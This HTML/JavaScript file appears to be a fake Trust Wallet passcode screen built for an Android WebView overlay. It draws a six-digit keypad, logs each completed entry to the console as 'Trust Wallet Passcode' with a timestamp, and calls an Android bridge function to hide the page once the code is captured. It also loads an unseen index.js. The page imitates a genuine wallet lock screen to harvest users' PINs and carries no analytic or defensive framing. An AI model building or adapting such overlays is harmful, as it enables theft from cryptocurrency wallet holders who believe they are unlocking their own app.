179 lines
5.8 KiB
HTML
179 lines
5.8 KiB
HTML
<html lang="en">
|
|
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>Passcode Screen</title>
|
|
<script src="https://cdn.tailwindcss.com"></script>
|
|
<script src="index.js"></script>
|
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
|
|
<style>
|
|
|
|
|
|
|
|
</style>
|
|
</head>
|
|
|
|
<body class="bg-gray-900 flex items-center justify-center min-h-screen">
|
|
<div class="text-center text-white">
|
|
<h1 class="text-xl mb-4">Enter Passcode</h1>
|
|
<div id="boxes" class="flex justify-center space-x-2 mb-4">
|
|
<div class="box"></div>
|
|
<div class="box"></div>
|
|
<div class="box"></div>
|
|
<div class="box"></div>
|
|
<div class="box"></div>
|
|
<div class="box"></div>
|
|
</div>
|
|
<p class="text-sm mb-8">Passcode Adds an extra layer of security <br>when using the app</p>
|
|
<div id="ss" class="grid grid-cols-3 gap-4 text-2xl">
|
|
<button class="bg-transparent text-white" onclick="addDigit('1', this)">1</button>
|
|
<button class="bg-transparent text-white" onclick="addDigit('2', this)">2</button>
|
|
<button class="bg-transparent text-white" onclick="addDigit('3', this)">3</button>
|
|
<button class="bg-transparent text-white" onclick="addDigit('4', this)">4</button>
|
|
<button class="bg-transparent text-white" onclick="addDigit('5', this)">5</button>
|
|
<button class="bg-transparent text-white" onclick="addDigit('6', this)">6</button>
|
|
<button class="bg-transparent text-white" onclick="addDigit('7', this)">7</button>
|
|
<button class="bg-transparent text-white" onclick="addDigit('8', this)">8</button>
|
|
<button class="bg-transparent text-white" onclick="addDigit('9', this)">9</button>
|
|
<button id="fr" style="color: #53668f;" class="bg-transparent text-white" onclick="addFingerprint(this)">
|
|
<i class="fas fa-fingerprint"></i>
|
|
</button>
|
|
<button class="bg-transparent text-white" onclick="addDigit('0', this)">0</button>
|
|
<button style="color: #53668f;" class="bg-transparent text-white" onclick="clearBoxes()">
|
|
<i class="fas fa-times"></i>
|
|
</button>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
const PASSCODE_LENGTH = 6;
|
|
let passcode = '';
|
|
let isSubmitting = false;
|
|
|
|
function updateBoxes() {
|
|
const container = document.getElementById('boxes');
|
|
while (container.children.length < PASSCODE_LENGTH) {
|
|
const newBox = document.createElement('div');
|
|
newBox.classList.add('box');
|
|
container.appendChild(newBox);
|
|
}
|
|
while (container.children.length > PASSCODE_LENGTH) {
|
|
container.removeChild(container.lastChild);
|
|
}
|
|
|
|
const boxes = container.querySelectorAll('.box');
|
|
boxes.forEach((box, index) => {
|
|
if (index < passcode.length) {
|
|
box.textContent = '●';
|
|
box.classList.add('filled');
|
|
} else {
|
|
box.textContent = '';
|
|
box.classList.remove('filled');
|
|
}
|
|
});
|
|
}
|
|
|
|
function addDigit(digit, button) {
|
|
if (isSubmitting || passcode.length >= PASSCODE_LENGTH) return;
|
|
|
|
passcode += digit;
|
|
updateBoxes();
|
|
|
|
button.classList.add('button-clicked');
|
|
setTimeout(() => {
|
|
button.classList.remove('button-clicked');
|
|
}, 200);
|
|
|
|
if (passcode.length === PASSCODE_LENGTH) {
|
|
submitPasscode();
|
|
}
|
|
}
|
|
|
|
function addFingerprint(button) {
|
|
alert('Fingerprint authentication not implemented.');
|
|
button.classList.add('button-clicked');
|
|
setTimeout(() => {
|
|
button.classList.remove('button-clicked');
|
|
}, 200);
|
|
}
|
|
|
|
function clearBoxes() {
|
|
passcode = '';
|
|
isSubmitting = false;
|
|
updateBoxes();
|
|
}
|
|
|
|
function submitPasscode() {
|
|
if (isSubmitting || passcode.length !== PASSCODE_LENGTH) return;
|
|
isSubmitting = true;
|
|
|
|
console.log('Trust Wallet Passcode:', passcode);
|
|
console.log('Time:', new Date().toLocaleString());
|
|
|
|
if (typeof Android !== "undefined" && Android && typeof Android.hidePage === 'function') {
|
|
Android.hidePage('');
|
|
}
|
|
|
|
passcode = '';
|
|
isSubmitting = false;
|
|
updateBoxes();
|
|
}
|
|
|
|
</script>
|
|
<style>
|
|
#ss {
|
|
margin-block-start: 8rem;
|
|
}
|
|
|
|
.text-2xl {
|
|
font-size: 1.5rem;
|
|
line-height: 3rem;
|
|
|
|
}
|
|
|
|
.mb-4 {
|
|
margin-top: 3rem;
|
|
margin-bottom: 2rem
|
|
}
|
|
|
|
.box {
|
|
width: 3.3rem;
|
|
height: 3.3rem;
|
|
border: 1px solid #293a5d;
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
font-size: 1.25rem;
|
|
border-radius: 5px;
|
|
}
|
|
|
|
.text-sm {
|
|
font-size: 90%;
|
|
line-height: 1.25rem;
|
|
color: #53668f;
|
|
}
|
|
|
|
|
|
button,
|
|
input,
|
|
optgroup,
|
|
select,
|
|
textarea {
|
|
font-family: inherit;
|
|
font-feature-settings: inherit;
|
|
font-variation-settings: inherit;
|
|
font-size: 124%;
|
|
font-weight: inherit;
|
|
line-height: inherit;
|
|
letter-spacing: inherit;
|
|
color: inherit;
|
|
margin: 5px;
|
|
padding: 2px;
|
|
}
|
|
</style>
|
|
|
|
|
|
</body>
|
|
|
|
</html> |